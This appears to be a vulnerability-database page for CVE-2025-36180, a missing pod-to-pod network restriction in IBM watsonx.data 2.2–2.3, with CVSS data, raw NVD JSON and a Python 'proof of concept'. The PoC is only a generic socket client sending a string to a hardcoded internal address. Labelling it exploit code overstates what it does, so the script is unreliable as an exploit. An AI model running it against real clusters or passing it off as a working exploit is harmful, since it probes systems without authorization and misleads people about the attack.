Security Vulnerability Report
中文
CVE-2025-36180 CVSS 5.3 MEDIUM

CVE-2025-36180

Published: 2026-04-30 22:16:25
Last Modified: 2026-05-12 19:23:30

Description

IBM watsonx.data 2.2 through 2.3 IBM Lakehouse does not properly restrict communication between pods which could allow an attacker to transfer data between pods without restrictions.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:watsonx.data:*:*:*:*:*:*:*:* - VULNERABLE
IBM watsonx.data 2.2
IBM watsonx.data 2.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept Code for CVE-2025-36180 # This script simulates unauthorized data transfer between pods due to missing network restrictions. import socket import sys def send_unrestricted_data(target_ip, target_port, message): """ Attempts to send data to a target pod that should be restricted. """ try: print(f"[*] Attempting to connect to {target_ip}:{target_port}...") # Create a socket object client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Set a timeout for the connection client_socket.settimeout(5) # Connect to the target pod client_socket.connect((target_ip, target_port)) print("[+] Connection established successfully.") # Send data (simulating unauthorized transfer) client_socket.sendall(message.encode('utf-8')) print(f"[+] Data sent: {message}") # Receive response (optional) response = client_socket.recv(1024) print(f"[+] Response from pod: {response.decode('utf-8')}") except socket.timeout: print("[-] Connection timed out.") except ConnectionRefusedError: print("[-] Connection refused by the target.") except Exception as e: print(f"[-] An error occurred: {e}") finally: client_socket.close() if __name__ == "__main__": # Example usage # Replace with actual target IP and Port discovered in the vulnerable environment target = "10.244.1.5" port = 8080 payload = "UNAUTHORIZED_DATA_TRANSFER" send_unrestricted_data(target, port, payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36180", "sourceIdentifier": "[email protected]", "published": "2026-04-30T22:16:24.737", "lastModified": "2026-05-12T19:23:30.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM watsonx.data 2.2 through 2.3 IBM Lakehouse does not properly restrict communication between pods which could allow an attacker to transfer data between pods without restrictions."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-923"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:watsonx.data:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.2.0", "versionEndIncluding": "2.3", "matchCriteriaId": "8C3A6660-2997-414D-B95A-FC33BDEE1B03"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7270593", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}